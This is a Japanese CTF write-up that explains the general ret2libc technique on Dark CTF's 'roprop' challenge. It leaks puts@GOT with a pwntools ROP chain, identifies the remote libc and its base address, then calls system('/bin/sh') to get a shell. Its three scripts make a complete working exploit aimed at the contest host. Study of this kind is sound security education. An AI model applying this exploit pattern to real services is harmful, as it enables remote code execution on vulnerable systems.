ACCE55_DE21ED

競プロとCTF

libcを特定する一般的なテク

0. はじめに

Buffer Over Flow 系のpwn やってて、こんな事を考えた事はありますか?僕はあります。

ヨシ、gdb で入力からリターンアドレスまでのオフセットを特定!後は system('/bin/sh') 起動するだk... libcが配られてなあァァい!!

そうです、ほとんどの問題でASLRが有効となり、猫も杓子も libc_base の時代に libc があるかは死活問題。しかし、逆に言えば libc_base と libc さえ特定してしまえば後は何とかなります(要出典)。

というわけで、 libc を特定する一般的なテクについての紹介です(かなり有名ではある)。

問題は、Dark CTF の roprop です。

1. 入力からリターンアドレスまでのオフセットを取得しよう

はい、Buffer Over Flow系の問題の基本ですね。gdb-peda は必ず入れておきましょう。

f:id:defineprogram:20200927191639p:plain

pattern_create [n] → 入力 → patto [rspの値 (32bitならeip) ] の流れです。

はい、ここでは88文字と分かりました。

2. objdumpで流れを把握しよう

objdump -d -M intel [ファイル名] です。-M intelIntel 記法にするおまじないです。

f:id:defineprogram:20200927192119p:plain

大体 putsgets 以外に重要なものはなさそうです。

3. ROP で puts@GOT の中身を取得しよう

GOTアドレスの先には、その関数の本当の場所のアドレスが入っており、puts や system などの libc 系の関数の場合、それは libc_base + libc内の関数アドレス になります。

要は、取り敢えず puts のアドレスを取得しようという事です。

Buffer Over Flowでリターンアドレスの書き換えができるので、puts(puts@GOT) を呼び出せば puts@GOT の中身を知る事ができます!

64bit なので、Stack align で ret を挟むのを忘れずに(おまじない)

関数のアドレスを吐かせる時には、必ずローカルではなく本番環境で行って下さい。ローカルのlibcを特定しても何も意味がありません。

from pwn import *

elf=ELF("./roprop")
p=remote("pwn.darkarmy.xyz",5002)
context(os="linux",arch="amd64")

payload=b"A"*88

rop=ROP(elf)
rop.raw(rop.find_gadget(['ret']))
rop.puts(elf.got['puts'])

log.info(rop.dump())

payload+=rop.chain()
p.sendlineafter(b"19's.\n\n",payload)

puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00'))
log.info(hex(puts_addr))

f:id:defineprogram:20200927192940p:plain

はい、これで puts@GOT の中身を知る事ができました。

4. libc Database で libc , libc_base を特定しよう

世の中便利なもので、先程のputsのアドレスだけで libc を大体特定する事ができます。2択くらいになる事はありますが、まぁそれくらいは頑張りましょう...

libc database search

今回は libc6_2.27-3ubuntu1.2_amd64 と特定できたので、これをダウンロードします。

libc が分かった所で、libc_base を特定する事ができます!関数のアドレスは libc_base + libc内の関数アドレスな事を思い出して下さい。

from pwn import *

elf=ELF("./roprop")
p=remote("pwn.darkarmy.xyz",5002)
context(os="linux",arch="amd64")

payload=b"A"*88

rop=ROP(elf)
rop.raw(rop.find_gadget(['ret']))
rop.puts(elf.got['puts'])

log.info(rop.dump())

payload+=rop.chain()
p.sendlineafter(b"19's.\n\n",payload)

puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00'))
log.info(hex(puts_addr))

libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so")

libc.address=puts_addr-libc.symbols['puts']
log.success(hex(libc.address))

f:id:defineprogram:20200927193842p:plain

libc_base は 下3桁が0な事が知られているので、ちゃんと特定できている事が分かります。なお、ASLR が有効なのでlibc_base は毎回変化する事に注意しましょう。

5. いざ、system('/bin/sh')

さて、後は libc_base を利用して system('/bin/sh') を呼び出すだけです。あれ、main 関数終わったんじゃ...と思った人もいるかもしれませんが、puts を呼び出す事ができるようにmain関数を呼び出す事もできます!

というわけで、2周目の main 関数の後で system('/bin/sh') を呼び出します。

from pwn import *

elf=ELF("./roprop")
#p=process("./roprop")
p=remote("pwn.darkarmy.xyz",5002)
context(os="linux",arch="amd64")

# 1周目

payload=b"A"*88
rop=ROP(elf)
rop.raw(rop.find_gadget(['ret']))
rop.puts(elf.got['puts'])
rop.main()
log.info(rop.dump())

payload+=rop.chain()
p.sendlineafter(b"19's.\n\n",payload)

puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00'))
log.info(hex(puts_addr))

libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so")

libc.address=puts_addr-libc.symbols['puts']
log.success(hex(libc.address))

# 2周目

rop2=ROP(libc)
payload=b"A"*88
rop2.system(next(libc.search(b"/bin/sh\x00")))
log.info(rop2.dump())
payload+=rop2.chain()

p.sendlineafter(b"19's.\n\n",payload)

p.interactive()

f:id:defineprogram:20200927194334p:plain

というわけで、無事に シェルを起動できました。やったね!

pwntools のROP機能 を使うと、このように良くも悪くも関数呼び出し系のルールがうろ覚えでも何とかなってしまいます。なので、多分最初の内はpwntools の ROP 機能は使わない方がいいかも...

もっと最初で、pwn始めたばっかり!ってレベルの時は、そもそもpwntoolsを使うのもあんまり良くない気がします。

BOF問で、SSP & PIE 無効 & 何らかの入力と出力がある問題は広く使えると思うので、覚えておくといいかもしれません!